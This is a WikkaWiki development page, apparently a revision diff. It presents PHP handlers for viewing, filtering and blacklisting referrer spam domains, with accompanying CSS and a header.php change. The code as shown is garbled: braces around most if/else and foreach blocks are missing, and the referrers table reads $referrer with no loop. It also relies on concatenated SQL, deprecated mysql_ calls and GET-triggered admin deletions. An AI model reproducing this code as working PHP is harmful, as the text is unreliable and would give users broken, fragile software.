$menu .= '<li>'.$m_sites_global.'</li>';
$menu .= '<li>'.$m_blacklist.'</li>';
$menu .= "\n".'</ul>'."\n";
// days dropdown content
$daysopts = optionRanges($days_limits,DAYS_MAX);
// form
$form = $this->FormOpen('referrers','','post'); # @@@ add parameter for id
$form .= '<fieldset class="hidden">'."\n";
$form .= '<input type="hidden" name="global" value="'.$iglobal.'" />'."\n";
$form .= '<input type="hidden" name="sites" value="'.$isites.'" />'."\n";
$form .= '</fieldset>'."\n";
$form .= '<fieldset>'."\n";
$form .= '<legend>'.FORM_LEGEND.'</legend>'."\n";
$form .= '<label for="qo" class="mainlabel">'.(($sites) ? FORM_URL_OPT_SITES : FORM_URL_OPT_REFERRERS).'</label> '."\n";
$form .= '<select name="qo" id="qo" title="'.FORM_URL_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($qo == '1')? ' selected="selected"' : '').'>'.FORM_URL_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($qo == '0')? ' selected="selected"' : '').'>'.FORM_URL_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<label for="q">'.FORM_URL_STRING_LABEL.'</label> '."\n";
$form .= '<input type ="text" name="q" id="q" title="'.FORM_URL_STRING_TITLE.'" size="10" maxlength="50" value="'.$q.'" />';
$form .= '<br />'."\n";
$form .= '<label for="ho" class="mainlabel">'.FORM_HITS_OPT_LABEL.'</label> '."\n";
$form .= '<select name="ho" id="ho" title="'.FORM_HITS_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($ho == '1')? ' selected="selected"' : '').'>'.FORM_HITS_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($ho == '0')? ' selected="selected"' : '').'>'.FORM_HITS_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<input type ="text" name="h" id="h" title="'.FORM_HITS_NUM_TITLE.'" size="5" maxlength="5" value="'.$h.'" />'."\n";
$form .= ' <label for="h">'.FORM_HITS_NUM_LABEL.'</label>';
$form .= '<br />'."\n";
$form .= '<label for="days" class="mainlabel">'.FORM_DAYS_OPT_LABEL.'</label> '."\n";
$form .= '<select name="days" id="days" title="'.FORM_DAYS_OPT_TITLE.'">'."\n";
// build drop-down
foreach ($daysopts as $opt)
$selected = ($opt == $days) ? ' selected="selected"' : '';
$form .= '<option value="'.$opt.'"'.$selected.'>'.$opt.'</option>';
$form .= '</select> '."\n";
$form .= ' <label for="h">'.FORM_DAYS_NUM_LABEL.'</label>'."\n";
$form .= '</fieldset>'."\n";
$form .= '<input type="submit" value="'.(($sites) ? FORM_SUBMIT_SITES : FORM_SUBMIT_URLS).'" accesskey="r" />'."\n";
$form .= $this->FormClose();
// referrers list with admin link for blacklisting
if ($sites)
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_SITES,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_SITES,'');
$refshead = LIST_HEAD_LIST_SITES;
else
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_REFERRERS,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_REFERRERS,'');
$refshead = LIST_HEAD_LIST_REFERRERS;
if ($isAdmin)
$redir = ($global||$sites) ? $this->GetMethod().'&'.$par : $this->GetMethod(); # ensure we return to the same view
$par = ($sites) ? 'spam_site' : 'spam_link';
$blacklisturl = $this->Href('delete_referrer','',$par.'=').'%s&redirect=%s';
$blacklink = '<a href="'.$blacklisturl.'" title="'.LIST_ACTION_BLACKLIST_TITLE.'">'.LIST_ACTION_BLACKLIST.'</a>';
// -------------------------------------
// show user interface (pre-template)
echo '<div class="page">'."\n";
echo '<h3>'.$title.'</h3>'."\n";
echo '<p><em>'.SPAM_NOTE.'</em></p>'."\n";
# debug
if (DEBUG)
echo 'Query (ref): '.$query.'<br />';
echo 'Query (sites): '.$query_sites.'<br />';
echo ($global) ? 'Global: TRUE<br />' : 'Global: FALSE<br />';
echo ($sites) ? 'Sites: TRUE<br />' : 'Sites: FALSE<br />';
# debug
if ($loggedin)
if (isset($refdel)) echo '<p class="notes">'.$rptblacklisted.'</p>';
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<h4>'.$total.'</h4>'."\n";
echo '<div id="refform">'.$form.'</div>'."\n"; # @@@ kluge until FormOpen() is adapted: id should actually be on form itself and div not necessary!
if ($creferrers != 0)
echo '<h4>'.$result.'</h4>'."\n";
echo '<table id="reflist" summary="'.$summary.'">'."\n";
echo '<thead>';
echo '<tr><th class="hits" scope="col">'.LIST_HEAD_HITS.'</th>';
if ($isAdmin) echo '<th class="action" scope="col">'.LIST_HEAD_ACTION.'</th>';
echo '<th class="refs" scope="col">'.$refshead.'</th></tr>'."\n";
echo '</thead>'."\n";
echo '<tbody>'."\n";
$hits = $referrer['num'];
if ($sites)
{
$ref = $this->htmlspecialchars_ent($referrer['host']);
}
else
{
$ref = $this->htmlspecialchars_ent($referrer['referrer']);
}
echo '<tr>';
echo '<td class="hits">'.$hits.'</td>';
if ($isAdmin) echo '<td class="action"><span class="keys">'.sprintf($blacklink,$ref,$redir).'</span></td>';
if ($sites)
{
echo '<td class="refs">'.$ref.'</td>';
}
else
{
echo '<td class="refs"><a href="'.$ref.'">'.$ref.'</a></td>';
}
echo '</tr>'."\n";
echo '</tbody>'."\n";
echo '</table>'."\n";
else
#echo '<p><em>'.(($sites) ? sprintf(NONE_NOTE_SITES,$tot,$target) : sprintf(NONE_NOTE_REFERRERS,$tot,$target)).'</em></p>'."\n";
echo '<p><em>'.(($sites) ? sprintf(NONE_NOTE_SITES,$target) : sprintf(NONE_NOTE_REFERRERS,$target)).'</em></p>'."\n";
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<p><strong>'.LOGIN_NOTE.'</strong></p>'."\n";
echo '</div>'."\n";
===4. ##handlers/page/review_blacklist.php##===
This is rewritten mainly to make it integrate seamlessly with the referrers handler. There was also a problem with the output which was not valid XHTML; it now follows the same pattern as the referrers handler and got the same treatment for preparation for internationalization as well.
* Display, filter and search a list of blacklisted domains.
* Usage: append /review_blacklist to the URL of the page
* This handler allows logged-in users to display and search the blacklist; an admin may
* remove blacklisted domains from the database.
* @package Handlers
* @subpackage DatabaseHandlers
* @name Referrers
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - code cleanup, search/filter functionality added, valid XHTML, accessibility
* @version 0.8
* @since Wikka 1.1.6.X
* @todo for 1.0:
* - clean up debug code
* - configurable choice hostname (NAME_GLOBAL) or 'this site' (config, installer)
* - make index on the spammer column in the referrer_blacklist table _unique_ (installer) and remove extra query
* later:
* - (global) icons to represent each of the five views, small and larger versions (menu/page)
* - adapt text definitions to take singular-plural into account
* - add paging
* - turn list into form with checkboxes to allow mass removing
* default: 'NULL;
* @input string $remove optional: GET parameter - domain to be removed from the blacklist
* default: NULL;
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('SEARCH_LIKE','LIKE'); # search string operator
define('SEARCH_UNLIKE','NOT LIKE'); # search string operator
// -------------------------------------
// initialize parameters
$q = NULL; # search string
$qo = 1; # search string option
$remove = NULL; # domain to be removed from the blacklist
// -------------------------------------
// initialize internal variables
$string_option = SEARCH_LIKE; # LIKE or NOT LIKE
$tag = $this->GetPageTag();
$isAdmin = $this->IsAdmin();
$loggedin = ($isAdmin) ? TRUE : (bool)$this->GetUser();
$pre = $this->config['table_prefix'];
$queryd = '';
$querys = '';
$rows = 0;
// -------------------------------------
// User-interface strings
define('TITLE','Blacklisted domains');
define('REPORT_REMOVED','Removed: %d records'); # @@@ does not take account of singular
define('TOTAL_BL','Total: %d blacklisted domain');
define('MENU_REFERRERS','Referrers to %s');
define('MENU_SITES','Domains linking to %s');
define('MENU_REFERRERS_PAGE',sprintf(MENU_REFERRERS,$tag));
define('MENU_SITES_PAGE',sprintf(MENU_SITES,$tag));
# you can use NAME_GLOBAL instead of 'this site' if the site name is short enough
# @@@ JW: choice between 'this site' and NAME_GLOBAL could be set via configuration (later)
define('MENU_REFERRERS_GLOBAL',sprintf(MENU_REFERRERS,'this site'));
define('MENU_SITES_GLOBAL',sprintf(MENU_SITES,'this site'));
define('MENU_BLACKLIST','Blacklisted sites');
define('FORM_LEGEND','Filter view:');
define('FORM_URL_OPT_LABEL','Domain:');
define('FORM_URL_OPT_TITLE','Select search option');
define('FORM_URL_OPT_1','containing');
define('FORM_URL_OPT_0','not containing');
define('FORM_URL_STRING_LABEL','string');
define('FORM_URL_STRING_TITLE','Enter a search string');
define('FORM_SUBMIT_BLACKLIST','Show blacklisted domains');
define('LIST_SUMMARY_BL','Filtered list of blacklisted domains%s, sorted alphabetically');
define('LIST_HEAD_ACTION','Action');
define('LIST_HEAD_BL','Blacklisted domains');
define('LIST_ACTION_DESC',' and links to remove domains from the blacklist');
define('LIST_ACTION_BL','Remove');
define('LIST_ACTION_BL_TITLE','Remove this domain from the blacklist');
define('LOGIN_NOTE','You need to login to see blacklisted domains.');
/*
define('RESULT_TOTAL','(%d total domains)'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Result: %d domains '.RESULT_TOTAL); # @@@ does not take account of singular
define('NONE_NOTE','Blacklist is empty '.RESULT_TOTAL);
*/
define('LIST_RESULT_COUNTER_SITES','Result: %d domains'); # @@@ does not take account of singular
define('NONE_NOTE','Blacklist is empty');
// -------------------------------------
// fetch and validate parameters
// get query string and comparison method
if (isset($_POST['q']))
$tq = trim(strip_tags($_POST['q']));
if ('' != $tq)
$q = mysql_real_escape_string($tq);
if (isset($_POST['qo']))
$qo = ($_POST['qo'] == '1') ? 1 : 0;
$string_option = ($qo == 1) ? SEARCH_LIKE : SEARCH_UNLIKE;
// get host(s) to be removed
if (isset($_GET['remove']))
$remove = mysql_real_escape_string(strip_tags($_GET['remove']));
// -------------------------------------
// build remove query
if ($isAdmin)
$queryd = 'DELETE FROM '.$pre.'referrer_blacklist'
. ' WHERE spammer = "'.$remove.'"';
// build filter query
if ($loggedin)
$querys = 'SELECT * FROM '.$pre.'referrer_blacklist';
if (isset($q))
$querys .= ' WHERE spammer '.$string_option." '%".$q."%'"; # filter by string
$querys .= ' ORDER BY spammer ASC'; # set order
// get total number of domains in blacklist
$query_refcount = 'SELECT COUNT(spammer) AS total';
$query_refcount .= ' FROM '.$pre.'referrer_blacklist';
// -------------------------------------
// execute query (if logged in)
// do a 'remove' query first, then follow with the select query:
// the list should then reflect the situation after removal of a domain
if ($loggedin)
if ($isAdmin && isset($remove))
$rc = $this->Query($queryd); # TRUE on success
$numbldeleted = mysql_affected_rows(); # @@@ report back as GET parameter (in $removeurl/$removelink!)
$blacklist = $this->LoadAll($querys);
$totalrefs = $this->LoadSingle($query_refcount);
// -------------------------------------
// build UI elements
// title
$title = TITLE;
if (isset($numbldeleted)) $rptremoved = sprintf(REPORT_REMOVED,$numbldeleted);
$tot = $totalrefs['total'];
$total = sprintf(TOTAL_BL,$tot);
$cdomains = count($blacklist);
#$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains,$tot);
$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains);
if ($isAdmin)
$removeurl = $this->Href('review_blacklist','','remove=').'%s';
$removelink = '<a href="'.$removeurl.'" title="'.LIST_ACTION_BL_TITLE.'">'.LIST_ACTION_BL.'</a>';
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
if ($loggedin)
// menu
$m_referrers_page = '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>';
$m_sites_page ='<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>';
$m_sites_global = '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
$m_blacklist = $menu_blacklist;
$menu = '<ul class="menu">'."\n";
$menu .= '<li>'.$m_referrers_page.'</li>';
$menu .= '<li>'.$m_sites_page.'</li>';
$menu .= '<li>'.$m_referrers_global.'</li>';
$menu .= '<li>'.$m_sites_global.'</li>';
$menu .= '<li>'.$m_blacklist.'</li>';
$menu .= "\n".'</ul>'."\n";
// form
$form = $this->FormOpen('review_blacklist','','post'); # @@@ add parameter for id
$form .= '<fieldset>'."\n";
$form .= '<legend>'.FORM_LEGEND.'</legend>'."\n";
$form .= '<label for="qo" class="mainlabel">'.FORM_URL_OPT_LABEL.'</label> '."\n";
$form .= '<select name="qo" id="qo" title="'.FORM_URL_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($qo == '1')? ' selected="selected"' : '').'>'.FORM_URL_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($qo == '0')? ' selected="selected"' : '').'>'.FORM_URL_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<label for="q">'.FORM_URL_STRING_LABEL.'</label> '."\n";
$form .= '<input type ="text" name="q" id="q" title="'.FORM_URL_STRING_TITLE.'" size="10" maxlength="50" value="'.$q.'" />';
$form .= '</fieldset>'."\n";
$form .= '<input type="submit" value="'.FORM_SUBMIT_BLACKLIST.'" accesskey="b" />'."\n";
$form .= $this->FormClose();
// blacklist with admin link for removing
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_BL,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_BL,'');
$refshead = LIST_HEAD_BL;
// -------------------------------------
// show user interface (pre-template)
echo '<div class="page">'."\n";
echo '<h3>'.$title.'</h3>'."\n";
# debug
if (DEBUG)
echo 'Query remove: '.$queryd.'<br />';
echo 'Query blacklist: '.$querys.'<br />';
echo 'remove: '.$remove.'<br/>';
echo 'removed: '.$numbldeleted.'<br/>';
# debug
if ($loggedin)
if (isset($numbldeleted)) echo '<p class="notes">'.$rptremoved.'</p>';
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<h4>'.$total.'</h4>'."\n";
echo '<div id="refform">'.$form.'</div>'."\n"; # @@@ kluge until FormOpen() is adapted: id should actually be on form itself and div not necessary!
if ($cdomains != 0)
echo '<h4>'.$result.'</h4>'."\n";
echo '<table id="reflist" summary="'.$summary.'">'."\n";
echo '<thead>';
if ($isAdmin) echo '<th class="action" scope="col">'.LIST_HEAD_ACTION.'</th>';
echo '<th class="refs" scope="col">'.$refshead.'</th></tr>'."\n";
echo '</thead>'."\n";
echo '<tbody>'."\n";
foreach ($blacklist as $spammer)
$ref = $this->htmlspecialchars_ent($spammer['spammer']);
echo '<tr>';
if ($isAdmin) echo '<td class="action"><span class="keys">'.sprintf($removelink,$ref).'</span></td>';
echo '<td class="refs">'.$ref.'</td>';
echo '</tr>'."\n";
echo '</tbody>'."\n";
echo '</table>'."\n";
else
#echo '<p><em>'.sprintf(NONE_NOTE,$tot).'</em></p>'."\n";
echo '<p><em>'.sprintf(NONE_NOTE).'</em></p>'."\n";
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<p><strong>'.LOGIN_NOTE.'</strong></p>'."\n";
echo '</div>'."\n";
===5. ##handlers/page/delete_referrer.php##===
Two problems here were solved: the code was not actually secure (anyone knowing how to build a URL could blacklist a domain), and when the action was completed you would get back to a single view only - often not the view you were coming form, causing an extra click to get back.
Also there is now a list of domains that are "whitelisted" so they will never be blacklisted. Basically this is for local machines, but you could add your own domains here as well. We'll make this list configurable.
For further details see the code (there's stil quite a lot of debug code which will disappear):
* Remove specified URL or referrer domain from the referrer list and add it to the blacklist.
* Usage: supposed to be used only from link or form produced by the referrers handler.
* Security: - can be executed only by an admin (redirect to homepage otherwise)
* - redirect to homepage if any parameter is missing or incorrect
* - explicitly use GET or POST to retrieve parameters
* @package Handlers
* @subpackage DatabaseHandlers
* @name DeleteReferrer
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - code cleanup, security, (integration with referrers)
* @version 0.8
* @since Wikka 1.1.6.X
* @todo for 1.0:
* - clean up debug code
* - configurable 'whitelist' of hosts that should never be blacklisted (config, installer)
* later:
* - change to fetching POST parameters when we convert to using form(s))
* @input string $spam_link required: spammer URL or domain to blacklist.
* @input string $redirect required: handler for current page to redirect to.
* @input int $global optional: query parameter for redirecting to the original view; default: 0
* @input int $sites optional: query parameter for redirecting to the original view; default: 0
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('LIST_REF_UNKNOWN','unknown'); # make sure this is *exactly* same string as used in referrers.php
$whitelist = array(LIST_REF_UNKNOWN,'localhost','127.0.0.1'); # @@@ make this configurable via wikka.config.php
// -------------------------------------
// initialize parameters
$spam_link = NULL; # site to blacklist from referrers list
$spam_site = NULL; # domain to blacklist from sites (domains) list
$redirect = NULL; # handler / query string of referring page to redirect to
$global = 0; # extra parameter for redirect
$sites = 0; # extra parameter for redirect
// -------------------------------------
// initialize internal variables
$isAdmin = $this->IsAdmin();
$home = $this->Href('',$this->config['root_page']);
$pre = $this->config['table_prefix'];
$par = '';
// -------------------------------------
// User-interface strings
define('MSG_NOT_ALLOWED','Blacklisting not allowed');
define('MSG_PAR_ERROR','Cannot blacklist: missing or incorrect parameter');
// -------------------------------------
// check permission and immediately redirect to home page if check fails
if (!$isAdmin) $this->Redirect($home,MSG_NOT_ALLOWED);
// -------------------------------------
// fetch and validate parameters
// ensure we have a spam_link OR spam_site parameter
if(isset($_GET['spam_link']))
$spam_link = strip_tags($_GET['spam_link']); # blacklisting from referrers list
elseif (isset($_GET['spam_site']))
$spam_site = strip_tags($_GET['spam_site']); # blacklisting from sites list
// ensure we have a redirect parameter 'referrers' (we won't allow any other value)
if (isset($_GET['redirect']))
$redirect = preg_match('/^referrers$/',$_GET['redirect']) ? strip_tags($_GET['redirect']) : NULL;
if (isset($_GET['global']))
$global = abs((int)$_GET['global']); # make sure we have a positive integer
if (isset($_GET['sites']))
$sites = abs((int)$_GET['sites']); # make sure we have a positive integer
# debug
if (DEBUG)
echo 'spamlink: '.$spam_link.'<br/>';
echo 'spamsite: '.$spam_site.'<br/>';
# end debug
// check required parameters and immediately redirect to home page if check fails
if (!(isset($spam_link) || (isset($spam_site))) || !isset($redirect)) $this->Redirect($home,MSG_PAR_ERROR);
// -------------------------------------
// derive internal variables
// With $spam_link we get a full URL and need to parse out the host name;
// with $spam_site we get a domain: no need to parse anything;
// for both: check against whitelist before acting on it
if (isset($spam_site))
// referring domain already is host name (no need to parse)
$domain = $spam_site;
$parsed_url = parse_url($spam_link);
if (FALSE !== $parsed_url)
// derive host name from referring URL
if (isset($parsed_url['host']))
$domain = $parsed_url['host'];
// exclude 'unknown', 'localhost' and others in the "whitelist"
if (!in_array($domain,$whitelist))
$spammer = $domain;
# debug
if (DEBUG)
echo 'domain: '.$domain.'<br/>';
echo 'spammer: '.$spammer.'<br/>';
#exit;
# end debug
// prepare extra parameters for redirect
if ('' != $par) $par .= '&';
if (1 == $global) $par .= 'global=1';
if ('' != $par) $par .= '&';
if (1 == $sites) $par .= 'sites=1';
// -------------------------------------
// do the blacklisting
if (isset($spammer)) {
// if $spammer = 'wakka' $queryd should remove http://wakka...
// but NOT http://example.com/wakka from the referrers table
$hspammer = mysql_real_escape_string('//'.$spammer.'/'); # string to recognize host in referrers table
$spammer = mysql_real_escape_string($spammer); # string to use for spammer in referrer_blacklist table
$queryd = 'DELETE FROM '.$pre.'referrers'
. ' WHERE referrer LIKE "%'.$hspammer.'%"';
// check if domain is already blacklisted (must start with $spammer)
# @@@ JW: should not be necessary if we'd have a _unique_ index on spammer! (let the database do the work)
$querys = 'SELECT spammer FROM '.$pre.'referrer_blacklist'
. ' WHERE spammer like "'.$spammer.'%"';
// add domain to blacklist
$queryi = 'INSERT INTO '.$pre.'referrer_blacklist'
. ' SET spammer = "'.$spammer.'"';
# debug
if (DEBUG)
echo 'delete referrers: '.$queryd.'<br/>';
echo 'check blacklist : '.$querys.'<br/>';
echo 'blacklist domain: '.$queryi.'<br/>';
$querye = str_replace('DELETE','EXPLAIN SELECT *',$queryd);
$explain = $this->LoadAll($querye);
echo 'Explain:<pre>';
print_r($explain);
echo '</pre>';
$queryes = str_replace('DELETE','SELECT *',$queryd);
$todelete = $this->LoadAll($queryes);
echo 'To delete:<pre>';
print_r($todelete);
echo '</pre>';
#exit;
# end debug
$rcd = $this->Query($queryd); # TRUE on success
$numrefdeleted = mysql_affected_rows(); # @@@ report back as GET parameter (in $par)
if ($rcd) $rcs = $this->LoadSingle($querys); # row (array) if spammer already blacklisted
if (!is_array($rcs)) $rci = $this->Query($queryi); # TRUE on success
$numblacklisted = mysql_affected_rows(); # @@@ report back as GET parameter (in $par)
// if referrers were deleted, report both deleted referrers and added blacklist records
if (isset($numrefdeleted))
if ('' != $par) $par .= '&';
$par .= 'refdel='.$numrefdeleted;
$par .= '&bladd=';
$par .= (isset($numblacklisted)) ? $numblacklisted : 0;
# debug
if (DEBUG)
echo 'referrers deleted: '.$numrefdeleted.'<br/>';
echo 'blacklisted: '.$numblacklisted.'<br/>';
echo 'par: '.$par.'<br/>';
# end debug
// redirect to current page & handler, adding any extra parameters to get back to the original view
# debug
if (DEBUG)
// display link instead of doing redirect so debug output can be seen
echo '<a href="'.$this->Href($redirect,'',$par).'">Back</a>';
exit;
# end debug
$this->Redirect($this->Href($redirect,'',$par));
===6. ##actions/header.php##===
We have created an extension of the stylesheet to style the user-interface elements for these handlers; to avoid (most) problems with all the custom "skins" people are using on this site (and maybe yours as well?), this is kept in a separate file (for now) so most of the new styles will become available. Therefore the extra stylesheet file should be linked into the ##header## template **before** the general display stylesheet:
Existing ##actions/header.php##:
%%(php;13)
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="keywords" content="<?php echo $this->GetConfigValue("meta_keywords") ?>" />
<meta name="description" content="<?php echo $this->GetConfigValue("meta_description") ?>" />
<link rel="stylesheet" type="text/css" href="css/<?php echo ($this->GetCookie("wikiskin"))? $this->GetCookie("wikiskin"): $this->GetConfigValue("stylesheet") ?>" media="screen" />
<link rel="stylesheet" type="text/css" href="css/print.css" media="print" />
Insert an extra link after line 15:
%%(php;13)
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="keywords" content="<?php echo $this->GetConfigValue("meta_keywords") ?>" />
<meta name="description" content="<?php echo $this->GetConfigValue("meta_description") ?>" />
<link rel="stylesheet" type="text/css" href="css/refmenu.css" /><!-- temp: extra styles for referrer handlers -->
<link rel="stylesheet" type="text/css" href="css/<?php echo ($this->GetCookie("wikiskin"))? $this->GetCookie("wikiskin"): $this->GetConfigValue("stylesheet") ?>" media="screen" />
<link rel="stylesheet" type="text/css" href="css/print.css" media="print" />
This will put the necessary styling for the referrers handler user interface in place even if a custom skin is used.
===7. ##css/refmenu.css##===
This is the actual stylesheet file - it will later be integrated in the main wikka stylesheet, of course.
%%(css;1)
/*
This stylesheet is for the referrers and blacklist handlers.
It will need to be integrated with the main stylesheet.
*/
h4 {
margin-top: 0.3em !important; /* remove !important when integrating into main stylesheet or including it after that */
.refmenu {
margin: 0;
padding: 0;
margin-top: 1em;
.refmenu .menu {
margin: 0;
padding: 0;
.refmenu .menu li {
list-style: none;
float: left;
margin-right: 3px; /* margin-right goes together with float left (or vice versa) */
padding: 1px 2px;
font-size: 85%;
line-height: 1.2em;
color: #000000;
background-color: #DDDDDD;
br.clear {
clear: both;
form fieldset.hidden { /* for all forms! not just referrers */
display: none;
#refform {
color: inherit;
background-color: inherit;
margin-top: 1em;
margin-bottom: 1em;
width: 32em;
#refform fieldset {
padding: 1em;
margin-bottom: 0.3em;
border: 1px solid #666666;
#refform legend {
padding: 0 2px;
color: #000000;
background-color: #DDDDDD;
border: 1px solid #666666;
margin-bottom: 0.3em;
#refform .mainlabel {
float: left;
width: 4.6em; /* width will work on _floated_ element, even if not a block! */
padding-right: 0.5em;
#q, #qo, #ho {
width: 10em;
#h {
width: 3em;
text-align: right;
#reflist {
margin-top: 1em;
margin-bottom: 1em;
border: none;
#reflist .hits {
width: 3em;
padding-right: 5px;
text-align: right;
vertical-align: middle;
#reflist .action {
width: 4em;
padding-left: 5px;
padding-right: 5px;
text-align: center;
vertical-align: middle;
#reflist .refs {
padding-left: 5px;
text-align: left;
vertical-align: middle;
===8. ##css/refmenu_col.css##===
The styling was designed to match with the default Wikka style. If you're using a custom skin here, everything should be positioned and spaced correctly, but the colors may not fit in with yours.
To save you hunting down what would need to be changed, grab this little file and copy it into your own skin on TestSkin: it contains all the color settings using in the extra stylesheet. Then simply adapt the colors to match your own: these will then override those in ##css/refmenu_col.css##.
%%(css;1)
/*
For custom stylesheets: copy this into your stylesheet; the
adapt the colors here (made to match the default Wikka skin)
to match your own.
*/
.refmenu .menu li {
color: #000000;
background-color: #DDDDDD;
#refform fieldset {
border: 1px solid #666666;
#refform legend {
color: #000000;
background-color: #DDDDDD;
border: 1px solid #666666;
Deletions:
Documentation: ""AdvancedReferrersHandlerInfo"".>>This is the development page for an advanced referrers handler.::c::
Referrer lists generated by WikkaWiki on high-traffic servers are likely to become unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the ##referrers_purge_time## in the ConfigurationOptions, so referrers older then n days are purged from the database. To allow a better management of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering//.
Here's an example of how the new interface looks like:
""<div style="border:1px solid black; padding: 10pt"><h4> Referrers for <a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage">HomePage</a></h4><br />List of external pages linking to <a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage">HomePage</a> (last 7 days)<br />
<table style="border:1px solid #666; padding: 2pt; margin: 5pt"><tr><td>HomePage</td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers" title="View referrers for HomePage only">URLs</a></td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers_sites" title="View referring domains for HomePage only">Domains</a></td></tr><tr><td>Global</td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers&global=1" title="View global referrers">URLs</a></td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers_sites&global=1" title="View global referring domains">Domains</a></td></tr><tr><td>Blacklist</td><td></td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/review_blacklist" title="View blacklisted domains">Domains</a></td></tr></table>
<form action="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers" method="post">
<input type="hidden" name="wakka" value="HomePage/referrers" />
<table style="border: 1px solid #666; padding: 2pt; margin: 5pt"><tr><td><strong>Search referrers </strong></td><td><select name="qo" title="Select search option"><option value="1" selected = "selected">containing</option><option value="0" >not containing</option></select> string: <input type ="text" name="q" title="Enter a search string" size="10" maxlength="50" value="testme"/></td><tr><tr><td></td><td>with <select name="ho" title="Select filter option"><option value="1" selected = "selected">more</option><option value="0" >less</option></select> than: <input type ="text" name="h" title="Enter number of hits" size="10" maxlength="5" value="0"/> hits</td></tr><tr><td></td><td>for the last <select name="days" title="Select time interval"><option value="1" >1</option><option value="2" >2</option><option value="3" >3</option><option value="4" >4</option><option value="5" >5</option><option value="6" >6</option><option value="7" selected="selected">7</option><option value="8" >8</option><option value="9" >9</option><option value="10" >10</option><option value="11" >11</option><option value="12" >12</option><option value="13" >13</option><option value="14" >14</option><option value="15" >15</option><option value="16" >16</option><option value="17" >17</option><option value="18" >18</option><option value="19" >19</option><option value="20" >20</option><option value="21" >21</option><option value="22" >22</option><option value="23" >23</option><option value="24" >24</option><option value="25" >25</option><option value="26" >26</option><option value="27" >27</option><option value="28" >28</option><option value="29" >29</option><option value="30" >30</option></select> days</td></tr><tr><td></td><td><input type="submit" value="Submit" title="Click to query the referrer list" accesskey="a" /></td></tr></table><input type="hidden" name="global" value=" " /></form>
<br /><h5> Results: 2</h5>
<br /> <table border="0" cellspacing="0" cellpadding="0">
<tr><td width="30" align="right" valign="top" style="padding-right: 10px">3</td><td valign="top"><a href="http://testme/wikka-1.1.6.0/wikka.php?wakka=HomePage">http://testme/wikka-1.1.6.0/wikka.php?wakka=HomePage</a> [<a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/delete_referrer&spam_link=http://testme/wikka-1.1.6.0/wikka.php?wakka=HomePage&redirect=referrers">Blacklist</a>]</td></tr>
<tr><td width="30" align="right" valign="top" style="padding-right: 10px">1</td><td valign="top"><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage">http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage</a> [<a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/delete_referrer&spam_link=http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage&redirect=referrers">Blacklist</a>]</td></tr>
</table></div>""
Current version: **0.2**
~-merge ##referrers.php## and ##referrers_sites.php##
First you will need to modify the ##""LoadReferrers()""## function in ##wikka.php##:
**original**
%%(php;754)
function LoadReferrers($tag = "")
return $this->LoadAll("select referrer, count(referrer) as num from ".$this->config["table_prefix"]."referrers ".($tag = trim($tag) ? "where page_tag = '".mysql_real_escape_string($tag)."'" : "")." group by referrer order by num desc");
**modified**
%%(php;754)
function LoadReferrers($tag = '', $query)
return $this->LoadAll("SELECT referrer, COUNT(referrer) AS num FROM ".$this->config["table_prefix"]."referrers WHERE ".(($tag = trim($tag))? "page_tag = '".mysql_real_escape_string($tag)."'" : "1").$query);
